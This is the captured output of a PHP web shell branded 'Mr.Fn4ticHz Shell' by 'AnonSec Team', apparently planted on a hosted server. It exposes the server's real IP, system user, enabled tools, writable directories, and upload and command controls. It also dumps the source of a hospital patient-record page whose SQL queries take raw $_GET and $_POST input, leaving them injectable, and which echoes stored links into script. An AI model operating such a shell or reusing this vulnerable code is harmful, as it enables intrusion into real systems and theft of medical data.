Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.221.126.56
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/mrdchecklist.php
<?php
session_start();
require_once("../dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
?>
	      
	      	
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../patientmanager.php');
include("header.php");
include("dashboarddocument.php");
if(isset($_POST[submit]))
{
    PatientManager::discharge("$_GET[prescriptionid]","$_GET[patientid]","$_GET[hospital_id]","$_POST[status]","$_POST[COdischarge]","$_POST[Advice_Discharge]","$_POST[created_by]","$_POST[entered_by]");
}
?>
     <div class="content-wrapper">
    <!-- Content Header (Page header) -->
   
      <H3 Align="right"><?php $sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
if($rs = mysqli_fetch_array($qsql))
{
 echo "MRD No.  $rs[prescriptionid] <br>UHID : $rs[patientid] " ;
 } ?> </H3>   <p align="right">
     <form name="submit" method="post">
              <input type="hidden" name="status" value="Discharge">
         <input type="hidden" name="COdischarge" value="Force to discharge">
         	<?php
    	$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
    		$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		{
		    
		    echo"
            <input type='hidden' name='created_by' value='$re[name]'>
            ";
		}
		?>
		<?php
		$sql6 ="SELECT * FROM discharge WHERE patientid='$_GET[patientid]' AND typevisit='IPD'";
		$qsql6 = mysqli_query($con,$sql6);
		while($rs1 = mysqli_fetch_array($qsql6))
		{
$usertype=$rs1['status'];
if($usertype == 'Admission'){
      echo "
  <input type='submit' name='submit' value='Force to discharge' />";
  }else{
    echo "";
}
}
?>
</p>
</form>
              <!-- /.card-header -->
              <div class="card-body">

                  </thead>
<?php
include("dbconnection.php");
	$sqlpatient = "SELECT * FROM save_activity WHERE userno='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	while($rsp = mysqli_fetch_array($qsqlpatient))
	{
	    echo"<script>
	    window.open('$rsp[link]', '_self');</script>";	
	    
	}
?>   
     

Anon7 - 2022
AnonSec Team